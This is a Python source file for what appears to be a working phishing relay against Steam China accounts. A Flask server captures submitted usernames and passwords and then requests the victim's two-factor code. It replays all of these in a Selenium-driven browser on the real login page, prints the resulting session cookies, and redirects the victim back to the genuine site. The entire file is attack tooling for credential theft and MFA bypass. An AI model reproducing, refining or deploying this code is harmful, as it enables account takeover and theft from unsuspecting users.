
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
import json
import time
from flask import *
import config


app = Flask(__name__)

infolist = []

def login(input_username,usernamevalue,input_password,passwordvalue,accountlogin,twofactorcode_entry,mfa,auth_button_h3):
    wd = webdriver.Chrome(service=Service(r'D:\代码和工具\其他\Selenium_study\chromedriver_win32\chromedriver.exe'))

    wd.get('https://store.steamchina.com/login/?redir=&redir_ssl=1&snr=1_4_4__global-header')
    wd.find_element(By.ID,value=input_username).send_keys(usernamevalue)
    wd.find_element(By.ID,value=input_password).send_keys(passwordvalue)
    wd.find_element(By.CLASS_NAME,value=accountlogin).click()
    time.sleep(1)
    wd.find_element(By.ID, value=twofactorcode_entry).send_keys(mfa)
    wd.find_element(By.CLASS_NAME, value=auth_button_h3).click()

    wd.get_screenshot_as_file("1.png")
    cookies = json.dumps(wd.get_cookies())
    print(cookies)
    ActionChains(wd).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()

@app.route('/info/',methods=['GET','POST'])
def info():
    if request.method == "POST":
        username = request.form['username']
        password = request.form['password']
        infolist.append(username)
        infolist.append(password)
        print(infolist)
        return render_template('mfa.html')
    return "failed"

@app.route('/twofactorcode/',methods=['GET','POST'])
def twofactorcode():
    if request.method == "POST":
        mfacode = request.form['mfacode']
        login(config.webcomment["userlocation"],infolist[0],
              config.webcomment["passlocation"],infolist[1],
              config.webcomment["accountloginlocation"],
              config.webcomment["twofactorcode_entry"],
              mfacode,
              config.webcomment["auth_button_h3"])
        return redirect("https://store.steamchina.com/login/?redir=&redir_ssl=1&snr=1_4_4__global-header")
    return "failed"
if __name__ == '__main__':

    app.run('0.0.0.0',80,debug=True)